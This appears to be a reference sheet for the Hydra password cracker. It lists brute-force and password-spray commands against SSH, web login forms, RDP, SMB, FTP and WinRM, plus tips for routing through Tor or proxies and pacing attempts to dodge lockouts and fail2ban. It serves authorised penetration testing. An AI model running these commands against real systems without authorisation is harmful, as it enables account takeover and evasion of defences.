Hydra

Hydra

Fast, parallelized online password cracker for 50+ protocols.

Quick Start

# SSH brute-force
hydra -l admin -P passwords.txt ssh://192.168.1.10

# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.10 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Multiple users + passwords
hydra -L users.txt -P passwords.txt ssh://192.168.1.10

Core Flags

Supported Modules (Common)

ssh, ftp, http-get, http-post-form, https-post-form, smb, rdp, winrm, imap, pop3, smtp, mysql, postgres, mssql, telnet, vnc, ldap2, redis

Common Workflows

# SSH with user list
hydra -L users.txt -P rockyou.txt ssh://10.10.10.10 -t 4

# HTTP form login
hydra -l admin -P passwords.txt 10.10.10.10 http-post-form \
  "/admin/login.php:username=^USER^&password=^PASS^:Wrong password"

# RDP brute-force
hydra -l administrator -P passwords.txt rdp://10.10.10.10

# FTP
hydra -l ftp -P passwords.txt ftp://10.10.10.10

# SMB password spray (single password, many users)
hydra -L users.txt -p "Summer2024!" smb://10.10.10.10

# WinRM
hydra -l administrator -P passwords.txt winrm://10.10.10.10

# Rate-limited (avoid lockouts)
hydra -l admin -P passwords.txt ssh://10.10.10.10 -t 1 -W 3

Proxy / Evasion

# Route through SOCKS5 (Tor or pivoting)
hydra -l admin -P passwords.txt -x socks5://127.0.0.1:1080 ssh://10.10.10.10

# HTTP proxy
hydra -l admin -P passwords.txt -x http://127.0.0.1:8080 http-post-form \
  "/login:user=^USER^&pass=^PASS^:Invalid"

Tips

• Use -e nsr for quick wins (null, same as user, reversed)
• Set -t 1-4 for protocols with lockout policies (RDP, SMB, WinRM)
• -W 3 adds 3s between connect attempts per thread — avoids fail2ban bans
• -w controls response timeout; increase for slow targets (e.g., -w 10)
• For HTTP forms: identify failure_message from the response body
• Use -I to ignore leftover restore files from previous interrupted runs

Resources